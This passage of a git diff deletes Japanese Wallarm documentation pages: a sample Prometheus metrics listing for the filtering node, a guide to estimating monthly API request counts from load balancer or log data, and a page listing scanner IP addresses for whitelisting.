調整済みカウンタです。調整済みレガシーカウンタに対応します。'type'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_adjusted_counters_per_host_total counter -wallarm_gonode_http_inspector_adjusted_counters_per_host_total{aggregate="sum",host="",type="attacks"} 0 -wallarm_gonode_http_inspector_adjusted_counters_per_host_total{aggregate="sum",host="",type="requests"} 3 -# HELP wallarm_gonode_http_inspector_adjusted_counters_total 調整済みカウンタです。調整済みレガシーカウンタに対応します。'type'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_adjusted_counters_total counter -wallarm_gonode_http_inspector_adjusted_counters_total{aggregate="sum",type="attacks"} 0 -wallarm_gonode_http_inspector_adjusted_counters_total{aggregate="sum",type="requests"} 3 -# HELP wallarm_gonode_http_inspector_adjusted_requests_per_period 直近の期間における調整済みリクエストの量です。'period'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_adjusted_requests_per_period gauge -wallarm_gonode_http_inspector_adjusted_requests_per_period{aggregate="sum",period="1m"} 0 -wallarm_gonode_http_inspector_adjusted_requests_per_period{aggregate="sum",period="1s"} 0 -# HELP wallarm_gonode_http_inspector_balancer_container_is_overloaded アプリが受信より速くデータを処理している場合、コンテナは過負荷ではありません。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_inspector_balancer_container_is_overloaded gauge -wallarm_gonode_http_inspector_balancer_container_is_overloaded{type="channel:in"} 0 -# HELP wallarm_gonode_http_inspector_balancer_debug_container_len 現在の各種内部データ構造内のアイテム数です。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_inspector_balancer_debug_container_len gauge -wallarm_gonode_http_inspector_balancer_debug_container_len{type="channel:in"} 0 -# HELP wallarm_gonode_http_inspector_balancer_dropped_total drop_percent設定パラメータが0以外のためにドロップされた入力メッセージです。 -# TYPE wallarm_gonode_http_inspector_balancer_dropped_total counter -wallarm_gonode_http_inspector_balancer_dropped_total 0 -# HELP wallarm_gonode_http_inspector_balancer_workers ワーカー数です。 -# TYPE wallarm_gonode_http_inspector_balancer_workers gauge -wallarm_gonode_http_inspector_balancer_workers 2 -# HELP wallarm_gonode_http_inspector_bytes_processed_per_app_total 処理されたバイト数です。実際に通信で流れたバイト数と厳密に一致するわけではありません。'type'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_bytes_processed_per_app_total counter -wallarm_gonode_http_inspector_bytes_processed_per_app_total{aggregate="sum",application_id="-1",type="request"} 138 -wallarm_gonode_http_inspector_bytes_processed_per_app_total{aggregate="sum",application_id="-1",type="response"} 0 -# HELP wallarm_gonode_http_inspector_bytes_processed_per_host_total 処理されたバイト数です。実際に通信で流れたバイト数と厳密に一致するわけではありません。'type'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_bytes_processed_per_host_total counter -wallarm_gonode_http_inspector_bytes_processed_per_host_total{aggregate="sum",host="",type="request"} 138 -wallarm_gonode_http_inspector_bytes_processed_per_host_total{aggregate="sum",host="",type="response"} 0 -# HELP wallarm_gonode_http_inspector_bytes_processed_per_period 直近の期間に処理されたバイト数です。'period'および'type'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_bytes_processed_per_period gauge -wallarm_gonode_http_inspector_bytes_processed_per_period{aggregate="sum",period="1m",type="request"} 0 -wallarm_gonode_http_inspector_bytes_processed_per_period{aggregate="sum",period="1m",type="response"} 0 -wallarm_gonode_http_inspector_bytes_processed_per_period{aggregate="sum",period="1s",type="request"} 0 -wallarm_gonode_http_inspector_bytes_processed_per_period{aggregate="sum",period="1s",type="response"} 0 -# HELP wallarm_gonode_http_inspector_bytes_processed_total 処理されたバイト数です。実際に通信で流れたバイト数と厳密に一致するわけではありません。'type'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_bytes_processed_total counter -wallarm_gonode_http_inspector_bytes_processed_total{aggregate="sum",type="request"} 138 -wallarm_gonode_http_inspector_bytes_processed_total{aggregate="sum",type="response"} 0 -# HELP wallarm_gonode_http_inspector_container_is_overloaded アプリが受信より速くデータを処理している場合、コンテナは過負荷ではありません。'type'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_container_is_overloaded gauge -wallarm_gonode_http_inspector_container_is_overloaded{aggregate="max",type="channel:in"} 0 -# HELP wallarm_gonode_http_inspector_debug_container_len 現在の各種内部データ構造内のアイテム数です。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_inspector_debug_container_len gauge -wallarm_gonode_http_inspector_debug_container_len{aggregate="avg",type="channel:in"} 0 -wallarm_gonode_http_inspector_debug_container_len{aggregate="max",type="channel:in"} 0 -wallarm_gonode_http_inspector_debug_container_len{aggregate="min",type="channel:in"} 0 -wallarm_gonode_http_inspector_debug_container_len{aggregate="sum",type="channel:in"} 0 -# HELP wallarm_gonode_http_inspector_errors_total 各種エラーカウンタです。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_inspector_errors_total counter -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="AclErrors"} 3 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="ApifwErrors"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="ErrorCreatingFlow"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="ErrorSerializingReq"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowAlreadyExists"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowIsMissing"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowIsMissingRequest"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowIsMissingResponse"} 3 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowIsNotClosed"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowTimeouts"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="LeakedHandleRef"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="RouteConfigNotFound"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="UnreleasedBlockers"} 0 -# HELP wallarm_gonode_http_inspector_flow_avg_time_ms フローのライフサイクルにおける各ポイント間の平均時間です。'type'および'case'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_flow_avg_time_ms gauge -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqOnly",type="Flow"} 1.3002335 -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqOnly",type="Req"} 0.5557354999999999 -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqResp",type="Flow"} 0 -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqResp",type="Gap"} 0 -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqResp",type="Req"} 0 -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqResp",type="Resp"} 0 -# HELP wallarm_gonode_http_inspector_flows 現在解析中のリクエスト/レスポンスのペア数です。 -# TYPE wallarm_gonode_http_inspector_flows gauge -wallarm_gonode_http_inspector_flows{aggregate="avg"} 0 -wallarm_gonode_http_inspector_flows{aggregate="max"} 0 -wallarm_gonode_http_inspector_flows{aggregate="min"} 0 -wallarm_gonode_http_inspector_flows{aggregate="sum"} 0 -# HELP wallarm_gonode_http_inspector_ignored_per_app_total 無視されたリクエスト/レスポンスのペアの総数です。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_ignored_per_app_total counter -wallarm_gonode_http_inspector_ignored_per_app_total{aggregate="sum",application_id="-1",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_ignored_per_app_total{aggregate="sum",application_id="-1",source="acl_whitelist"} 0 -wallarm_gonode_http_inspector_ignored_per_app_total{aggregate="sum",application_id="-1",source="mode"} 0 -# HELP wallarm_gonode_http_inspector_ignored_per_host_total 無視されたリクエスト/レスポンスのペアの総数です。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_ignored_per_host_total counter -wallarm_gonode_http_inspector_ignored_per_host_total{aggregate="sum",host="",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_ignored_per_host_total{aggregate="sum",host="",source="acl_whitelist"} 0 -wallarm_gonode_http_inspector_ignored_per_host_total{aggregate="sum",host="",source="mode"} 0 -# HELP wallarm_gonode_http_inspector_ignored_total 無視されたリクエスト/レスポンスのペアの総数です。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_ignored_total counter -wallarm_gonode_http_inspector_ignored_total{aggregate="sum",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_ignored_total{aggregate="sum",source="acl_whitelist"} 0 -wallarm_gonode_http_inspector_ignored_total{aggregate="sum",source="mode"} 0 -# HELP wallarm_gonode_http_inspector_mem_allocated_bytes 内部libprotonライブラリ内で現在割り当てられているメモリ量です。 -# TYPE wallarm_gonode_http_inspector_mem_allocated_bytes gauge -wallarm_gonode_http_inspector_mem_allocated_bytes{aggregate="avg"} 0 -wallarm_gonode_http_inspector_mem_allocated_bytes{aggregate="max"} 0 -wallarm_gonode_http_inspector_mem_allocated_bytes{aggregate="min"} 0 -wallarm_gonode_http_inspector_mem_allocated_bytes{aggregate="sum"} 0 -# HELP wallarm_gonode_http_inspector_mem_allocated_max_bytes 起動以降に内部libprotonライブラリ内で観測された最大割り当てメモリ量です。 -# TYPE wallarm_gonode_http_inspector_mem_allocated_max_bytes gauge -wallarm_gonode_http_inspector_mem_allocated_max_bytes{aggregate="avg"} 60486 -wallarm_gonode_http_inspector_mem_allocated_max_bytes{aggregate="max"} 60486 -wallarm_gonode_http_inspector_mem_allocated_max_bytes{aggregate="min"} 60486 -# HELP wallarm_gonode_http_inspector_msgs_ignored_total 内部データパイプラインで無視されたメッセージの総数です。'_ignored'メトリクスを参照してください。 -# TYPE wallarm_gonode_http_inspector_msgs_ignored_total counter -wallarm_gonode_http_inspector_msgs_ignored_total{aggregate="sum"} 0 -# HELP wallarm_gonode_http_inspector_requests_processed_per_app_total 各inspectorサブシステムで処理されたリクエストの総数です。1つのリクエストが複数のサブシステムで処理されることがあります。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_requests_processed_per_app_total counter -wallarm_gonode_http_inspector_requests_processed_per_app_total{aggregate="sum",application_id="-1",source="acl"} 0 -wallarm_gonode_http_inspector_requests_processed_per_app_total{aggregate="sum",application_id="-1",source="anything"} 3 -wallarm_gonode_http_inspector_requests_processed_per_app_total{aggregate="sum",application_id="-1",source="apifw"} 3 -wallarm_gonode_http_inspector_requests_processed_per_app_total{aggregate="sum",application_id="-1",source="proton"} 3 -# HELP wallarm_gonode_http_inspector_requests_processed_per_host_total 各inspectorサブシステムで処理されたリクエストの総数です。1つのリクエストが複数のサブシステムで処理されることがあります。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_requests_processed_per_host_total counter -wallarm_gonode_http_inspector_requests_processed_per_host_total{aggregate="sum",host="",source="acl"} 0 -wallarm_gonode_http_inspector_requests_processed_per_host_total{aggregate="sum",host="",source="anything"} 3 -wallarm_gonode_http_inspector_requests_processed_per_host_total{aggregate="sum",host="",source="apifw"} 3 -wallarm_gonode_http_inspector_requests_processed_per_host_total{aggregate="sum",host="",source="proton"} 3 -# HELP wallarm_gonode_http_inspector_requests_processed_total 各inspectorサブシステムで処理されたリクエストの総数です。1つのリクエストが複数のサブシステムで処理されることがあります。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_requests_processed_total counter -wallarm_gonode_http_inspector_requests_processed_total{aggregate="sum",source="acl"} 0 -wallarm_gonode_http_inspector_requests_processed_total{aggregate="sum",source="anything"} 3 -wallarm_gonode_http_inspector_requests_processed_total{aggregate="sum",source="apifw"} 3 -wallarm_gonode_http_inspector_requests_processed_total{aggregate="sum",source="proton"} 3 -# HELP wallarm_gonode_http_inspector_responses_processed_per_app_total 各inspectorサブシステムで処理されたレスポンスの総数です。1つのレスポンスが複数のサブシステムで処理されることがあります。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_responses_processed_per_app_total counter -wallarm_gonode_http_inspector_responses_processed_per_app_total{aggregate="sum",application_id="-1",source="proton"} 0 -# HELP wallarm_gonode_http_inspector_responses_processed_per_host_total 各inspectorサブシステムで処理されたレスポンスの総数です。1つのレスポンスが複数のサブシステムで処理されることがあります。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_responses_processed_per_host_total counter -wallarm_gonode_http_inspector_responses_processed_per_host_total{aggregate="sum",host="",source="proton"} 0 -# HELP wallarm_gonode_http_inspector_responses_processed_total 各inspectorサブシステムで処理されたレスポンスの総数です。1つのレスポンスが複数のサブシステムで処理されることがあります。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_responses_processed_total counter -wallarm_gonode_http_inspector_responses_processed_total{aggregate="sum",source="proton"} 0 -# HELP wallarm_gonode_http_inspector_ruleset_content_version カスタムルールセットファイルのコンテンツバージョンです。内部のいずれかのルールが変更されるたびに増加します。 -# TYPE wallarm_gonode_http_inspector_ruleset_content_version gauge -wallarm_gonode_http_inspector_ruleset_content_version{aggregate="max"} 1938 -wallarm_gonode_http_inspector_ruleset_content_version{aggregate="min"} 1938 -# HELP wallarm_gonode_http_inspector_ruleset_format_version カスタムルールセットファイルのフォーマットバージョンです。 -# TYPE wallarm_gonode_http_inspector_ruleset_format_version gauge -wallarm_gonode_http_inspector_ruleset_format_version{aggregate="max"} 58 -wallarm_gonode_http_inspector_ruleset_format_version{aggregate="min"} 58 -# HELP wallarm_gonode_http_inspector_step_container_is_overloaded アプリが受信より速くデータを処理している場合、コンテナは過負荷ではありません。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_inspector_step_container_is_overloaded gauge -wallarm_gonode_http_inspector_step_container_is_overloaded{type="channel:in"} 0 -wallarm_gonode_http_inspector_step_container_is_overloaded{type="channel:worker_out"} 0 -# HELP wallarm_gonode_http_inspector_step_debug_container_len 現在の各種内部データ構造内のアイテム数です。'type'ラベルを参照してください -# TYPE wallarm_gonode_http_inspector_step_debug_container_len gauge -wallarm_gonode_http_inspector_step_debug_container_len{type="channel:in"} 0 -wallarm_gonode_http_inspector_step_debug_container_len{type="channel:worker_out"} 0 -# HELP wallarm_gonode_http_inspector_step_input_messages_total このパイプラインステップの入力メッセージ総数です。 -# TYPE wallarm_gonode_http_inspector_step_input_messages_total counter -wallarm_gonode_http_inspector_step_input_messages_total 18 -# HELP wallarm_gonode_http_inspector_step_is_running このパイプラインステップが現在実行中(1)か停止中(0)かを示すフラグです。 -# TYPE wallarm_gonode_http_inspector_step_is_running gauge -wallarm_gonode_http_inspector_step_is_running 1 -# HELP wallarm_gonode_http_inspector_step_output_messages_total このパイプラインステップの出力メッセージ総数です。'msgtype'、'receiver'、'dropped'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_step_output_messages_total counter -wallarm_gonode_http_inspector_step_output_messages_total{dropped="false",msgtype="MsgProtonSerializedRequest",reciever="0"} 3 -wallarm_gonode_http_inspector_step_output_messages_total{dropped="true",msgtype="MsgProtonSerializedRequest",reciever="0"} 0 -# HELP wallarm_gonode_http_inspector_threats_blocked_per_app_total ブロックされた脅威の総数です。1つのリクエストは1つのinspectorサブシステムによってのみブロックされます。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_threats_blocked_per_app_total counter -wallarm_gonode_http_inspector_threats_blocked_per_app_total{aggregate="sum",application_id="-1",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_app_total{aggregate="sum",application_id="-1",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_app_total{aggregate="sum",application_id="-1",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_app_total{aggregate="sum",application_id="-1",source="proton"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_app_total{aggregate="sum",application_id="-1",source="vpatch"} 0 -# HELP wallarm_gonode_http_inspector_threats_blocked_per_host_total ブロックされた脅威の総数です。1つのリクエストは1つのinspectorサブシステムによってのみブロックされます。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_threats_blocked_per_host_total counter -wallarm_gonode_http_inspector_threats_blocked_per_host_total{aggregate="sum",host="",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_host_total{aggregate="sum",host="",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_host_total{aggregate="sum",host="",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_host_total{aggregate="sum",host="",source="proton"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_host_total{aggregate="sum",host="",source="vpatch"} 0 -# HELP wallarm_gonode_http_inspector_threats_blocked_total ブロックされた脅威の総数です。1つのリクエストは1つのinspectorサブシステムによってのみブロックされます。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_threats_blocked_total counter -wallarm_gonode_http_inspector_threats_blocked_total{aggregate="sum",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_blocked_total{aggregate="sum",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_blocked_total{aggregate="sum",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_blocked_total{aggregate="sum",source="proton"} 0 -wallarm_gonode_http_inspector_threats_blocked_total{aggregate="sum",source="vpatch"} 0 -# HELP wallarm_gonode_http_inspector_threats_found_per_app_total 各inspectorサブシステムで検知された脅威の総数です。1つのリクエストが複数の観点で脅威と見なされることがあります。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_threats_found_per_app_total counter -wallarm_gonode_http_inspector_threats_found_per_app_total{aggregate="sum",application_id="-1",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_found_per_app_total{aggregate="sum",application_id="-1",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_found_per_app_total{aggregate="sum",application_id="-1",source="anything"} 0 -wallarm_gonode_http_inspector_threats_found_per_app_total{aggregate="sum",application_id="-1",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_found_per_app_total{aggregate="sum",application_id="-1",source="proton"} 0 -# HELP wallarm_gonode_http_inspector_threats_found_per_host_total 各inspectorサブシステムで検知された脅威の総数です。1つのリクエストが複数の観点で脅威と見なされることがあります。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_threats_found_per_host_total counter -wallarm_gonode_http_inspector_threats_found_per_host_total{aggregate="sum",host="",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_found_per_host_total{aggregate="sum",host="",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_found_per_host_total{aggregate="sum",host="",source="anything"} 0 -wallarm_gonode_http_inspector_threats_found_per_host_total{aggregate="sum",host="",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_found_per_host_total{aggregate="sum",host="",source="proton"} 0 -# HELP wallarm_gonode_http_inspector_threats_found_total 各inspectorサブシステムで検知された脅威の総数です。1つのリクエストが複数の観点で脅威と見なされることがあります。'source'ラベルを参照してください。 -# TYPE wallarm_gonode_http_inspector_threats_found_total counter -wallarm_gonode_http_inspector_threats_found_total{aggregate="sum",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_found_total{aggregate="sum",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_found_total{aggregate="sum",source="anything"} 0 -wallarm_gonode_http_inspector_threats_found_total{aggregate="sum",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_found_total{aggregate="sum",source="proton"} 0 -# HELP wallarm_gonode_postanalytics_exporter_connections postanalyticsへの現在の接続数です。postanalyticsノードごとに1接続です。 -# TYPE wallarm_gonode_postanalytics_exporter_connections gauge -wallarm_gonode_postanalytics_exporter_connections 1 -# HELP wallarm_gonode_postanalytics_exporter_container_is_overloaded アプリが受信より速くデータを処理している場合、コンテナは過負荷ではありません。'type'ラベルを参照してください -# TYPE wallarm_gonode_postanalytics_exporter_container_is_overloaded gauge -wallarm_gonode_postanalytics_exporter_container_is_overloaded{type="channel:in"} 0 -# HELP wallarm_gonode_postanalytics_exporter_debug_container_len 現在の各種内部データ構造内のアイテム数です。'type'ラベルを参照してください -# TYPE wallarm_gonode_postanalytics_exporter_debug_container_len gauge -wallarm_gonode_postanalytics_exporter_debug_container_len{type="channel:in"} 0 -# HELP wallarm_gonode_postanalytics_exporter_errors_total 各種エラーカウンタです。'type'ラベルを参照してください -# TYPE wallarm_gonode_postanalytics_exporter_errors_total counter -wallarm_gonode_postanalytics_exporter_errors_total{type="SubmitConnect"} 6 -wallarm_gonode_postanalytics_exporter_errors_total{type="SubmitResp"} 0 -# HELP wallarm_gonode_postanalytics_exporter_serialized_requests_dropped_total エラーによりドロップされたシリアライズ済みリクエストの総数です。 -# TYPE wallarm_gonode_postanalytics_exporter_serialized_requests_dropped_total counter -wallarm_gonode_postanalytics_exporter_serialized_requests_dropped_total 3 -# HELP wallarm_gonode_postanalytics_exporter_serialized_requests_exported_per_period 直近の期間にpostanalyticsへエクスポートされたシリアライズ済みリクエストの数です。'period'ラベルを参照してください。 -# TYPE wallarm_gonode_postanalytics_exporter_serialized_requests_exported_per_period gauge -wallarm_gonode_postanalytics_exporter_serialized_requests_exported_per_period{period="1m"} 0 -wallarm_gonode_postanalytics_exporter_serialized_requests_exported_per_period{period="1s"} 0 -# HELP wallarm_gonode_postanalytics_exporter_serialized_requests_exported_total postanalyticsへエクスポートされたシリアライズ済みリクエストの総数です。 -# TYPE wallarm_gonode_postanalytics_exporter_serialized_requests_exported_total counter -wallarm_gonode_postanalytics_exporter_serialized_requests_exported_total 0 -# HELP wallarm_gonode_postanalytics_exporter_step_container_is_overloaded アプリが受信より速くデータを処理している場合、コンテナは過負荷ではありません。'type'ラベルを参照してください -# TYPE wallarm_gonode_postanalytics_exporter_step_container_is_overloaded gauge -wallarm_gonode_postanalytics_exporter_step_container_is_overloaded{type="channel:in"} 0 -# HELP wallarm_gonode_postanalytics_exporter_step_debug_container_len 現在の各種内部データ構造内のアイテム数です。'type'ラベルを参照してください -# TYPE wallarm_gonode_postanalytics_exporter_step_debug_container_len gauge -wallarm_gonode_postanalytics_exporter_step_debug_container_len{type="channel:in"} 0 -# HELP wallarm_gonode_postanalytics_exporter_step_input_messages_total このパイプラインステップの入力メッセージ総数です。 -# TYPE wallarm_gonode_postanalytics_exporter_step_input_messages_total counter -wallarm_gonode_postanalytics_exporter_step_input_messages_total 3 -# HELP wallarm_gonode_postanalytics_exporter_step_is_running このパイプラインステップが現在実行中(1)か停止中(0)かを示すフラグです。 -# TYPE wallarm_gonode_postanalytics_exporter_step_is_running gauge -wallarm_gonode_postanalytics_exporter_step_is_running 1 -# HELP wallarm_gonode_process_cpu_seconds_total ユーザーおよびシステムCPUに費やされた合計時間(秒)です。 -# TYPE wallarm_gonode_process_cpu_seconds_total counter -wallarm_gonode_process_cpu_seconds_total 1.56 -# HELP wallarm_gonode_process_max_fds オープン可能なファイルディスクリプタの最大数です。 -# TYPE wallarm_gonode_process_max_fds gauge -wallarm_gonode_process_max_fds 524287 -# HELP wallarm_gonode_process_network_receive_bytes_total プロセスがネットワーク経由で受信したバイト数です。 -# TYPE wallarm_gonode_process_network_receive_bytes_total counter -wallarm_gonode_process_network_receive_bytes_total 2.53529454e+08 -# HELP wallarm_gonode_process_network_transmit_bytes_total プロセスがネットワーク経由で送信したバイト数です。 -# TYPE wallarm_gonode_process_network_transmit_bytes_total counter -wallarm_gonode_process_network_transmit_bytes_total 1.9418293e+07 -# HELP wallarm_gonode_process_open_fds オープンしているファイルディスクリプタの数です。 -# TYPE wallarm_gonode_process_open_fds gauge -wallarm_gonode_process_open_fds 20 -# HELP wallarm_gonode_process_resident_memory_bytes 常駐メモリサイズ(バイト)です。 -# TYPE wallarm_gonode_process_resident_memory_bytes gauge -wallarm_gonode_process_resident_memory_bytes 1.67747584e+08 -# HELP wallarm_gonode_process_start_time_seconds プロセスの開始時刻をUnixエポックからの秒数で示します。 -# TYPE wallarm_gonode_process_start_time_seconds gauge -wallarm_gonode_process_start_time_seconds 1.75398672336e+09 -# HELP wallarm_gonode_process_virtual_memory_bytes 仮想メモリサイズ(バイト)です。 -# TYPE wallarm_gonode_process_virtual_memory_bytes gauge -wallarm_gonode_process_virtual_memory_bytes 1.98490112e+09 -# HELP wallarm_gonode_process_virtual_memory_max_bytes 使用可能な仮想メモリの最大量(バイト)です。 -# TYPE wallarm_gonode_process_virtual_memory_max_bytes gauge -wallarm_gonode_process_virtual_memory_max_bytes 1.8446744073709552e+19 -``` - - \ No newline at end of file diff --git a/docs/latest-ja/admin-en/nginx-node-metrics.md b/docs/latest-ja/admin-en/nginx-node-metrics.md deleted file mode 100644 index c87b5a9f6b..0000000000 --- a/docs/latest-ja/admin-en/nginx-node-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/nginx-node-metrics.md" \ No newline at end of file diff --git a/docs/latest-ja/admin-en/operation/learn-incoming-request-number.md b/docs/latest-ja/admin-en/operation/learn-incoming-request-number.md deleted file mode 100644 index 3af7d48237..0000000000 --- a/docs/latest-ja/admin-en/operation/learn-incoming-request-number.md +++ /dev/null @@ -1,42 +0,0 @@ -# APIが処理する月間リクエスト数の把握 - -Wallarmの主なライセンス／課金方式は、お客様の環境にデプロイされたWallarmフィルタリングノードが処理するリクエスト量に基づきます。このドキュメントでは、APIが処理するリクエスト数を簡単に把握する方法を説明します。 - -## この情報にアクセスできるチーム - -通常、社内の次のチームはこの情報に容易にアクセスできます。 - -* DevOps -* テクニカルオペレーション -* クラウドオペレーション -* プラットフォームオペレーション -* DevSecOps -* システム管理者 -* NOC - -## リクエスト数を把握する方法 - -APIが処理したリクエスト数を確認する方法はいくつかあります。 - -* ELBまたはALBのロードバランサーを使用しているAWSのお客様は、ロードバランサーのAWS監視メトリクスを使用して、ロードバランサーで処理されるAPIの1日および1週間あたりのリクエスト量を推定できます: - - ![AWS監視の例](../../images/operation/aws-requests-example.png) - - たとえば、グラフに1分あたりの平均リクエスト数が350と表示され、平均で1か月は730時間と仮定する場合、月間リクエスト数は`350 * 60 * 730 = 15,330,000`になります。 - -* HTTPロードバランサーを利用するGCPユーザーは、監視メトリクス**https/request_count**を使用できます。このメトリクスはNetwork Load Balancersでは利用できません。 -* Microsoft IISのユーザーは、**Requests Per Sec**メトリクスを用いて秒間平均リクエスト数を把握し、単一のIISサーバーが1か月に処理するリクエスト数を算出できます。計算では、1か月の秒数を平均で`730 * 3,600`秒と仮定します。 -* New Relic、Datadog、AppDynamics、SignalFXなどのApplication Performance Monitoringサービスのユーザーは、APMコンソールからこの情報を取得できます（エッジ層に関与するすべてのサーバーの集計値であり、単一サーバーのみの値ではないことを確認してください）。 -* Datadog、AWS CloudWatch（そのほか多数）のようなクラウドベースのインフラ監視システム、またはPrometheusやNagiosのような社内監視システムのユーザーは、多くの場合すでにエッジロケーション（ロードバランサー、Webサーバー、APIサーバー）で処理されるリクエスト量を監視しており、その情報を使って月間の平均処理リクエスト数を容易に推定できます。 -* 別のアプローチとして、エッジのロードバランサーやWebサーバーのログを使用し、一定期間（理想的には24時間）のログレコード数を集計します。各リクエストにつき1件のログレコードが出力されることを前提とします。たとえば、このWebサーバーはNGINXのアクセスログファイルを1日ごとにローテーションしており、ログファイルには653,525件のリクエストが記録されています: - - ```bash - cd /var/log/nginx/ - zcat access.log.2.gz |wc -l - # 653525 - ``` - - * このサーバーが1か月に処理したリクエストの推定値は`653,525 * 30 = 19,605,750`です。 - * 使用しているWebサーバーの総数が分かれば、API全体で処理されたリクエスト数を見積もれます。 - -* Google Analyticsなどのユーザー体験のトラッキング／モニタリングサービスを利用する純粋なWebアプリケーションの場合、配信されたページ数や埋め込みオブジェクトの総数に関する情報をこれらのサービスから抽出できます。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/scanner-addresses.md b/docs/latest-ja/admin-en/scanner-addresses.md deleted file mode 100644 index 2b14fcc573..0000000000 --- a/docs/latest-ja/admin-en/scanner-addresses.md +++ /dev/null @@ -1,26 +0,0 @@ -[file-ips-list-us]: ../downloads/scanner-ip-addresses-us.txt -[file-ips-list-eu]: ../downloads/scanner-ip-addresses-eu.txt - -# 脆弱性スキャンのIPアドレス - -本書では、Wallarmが[API攻撃対象領域管理](../api-attack-surface/security-issues.md)および[脅威リプレイテスト](../vulnerability-detection/threat-replay-testing/overview.md)を使用して、企業リソースの脆弱性、統合されたWAAPソリューションおよびセキュリティポスチャをスキャンする際に使用する、US CloudおよびEU CloudのIPアドレス一覧を提供します。 - -自動的にトラフィックをフィルタリングおよびブロックするために使用している（Wallarm以外の）ソフトウェアまたはハードウェアのソリューションの**ホワイトリスト**に、該当する一覧のアドレスを追加することを推奨します。これにより、これらのソリューションによってWallarmのコンポーネントがブロックされることを防げます。 - -## US Cloud - -Wallarmが[US Cloud](https://us1.my.wallarm.com)でお客様のアセットをスキャンする発信元のIPアドレスは次のとおりです。 - ---8<-- "../include/scanner-ip-request-us.md" - -!!! info "IPアドレス一覧をダウンロード" - [US CloudでのWallarmのアセットスキャン用IP一覧を含むプレーンテキストファイルをダウンロード][file-ips-list-us] - -## EU Cloud - -Wallarmが[EU Cloud](https://my.wallarm.com)でお客様のアセットをスキャンする発信元のIPアドレスは次のとおりです。 - ---8<-- "../include/scanner-ip-request.md" - -!!! info "IPアドレス一覧をダウンロード" - [EU CloudでのWallarmのアセットスキャン用IP一覧を含むプレーンテキストファイルをダウンロード][file-ips-list-eu] \ No newline at end of file diff --git a/docs/latest-ja/admin-en/uat-checklist-en.md b/docs/latest-ja/admin-en/uat-checklist-en.md deleted file mode 100644 index 2f1448ad2d..0000000000 --- a/docs/latest-ja/admin-en/uat-checklist-en.md 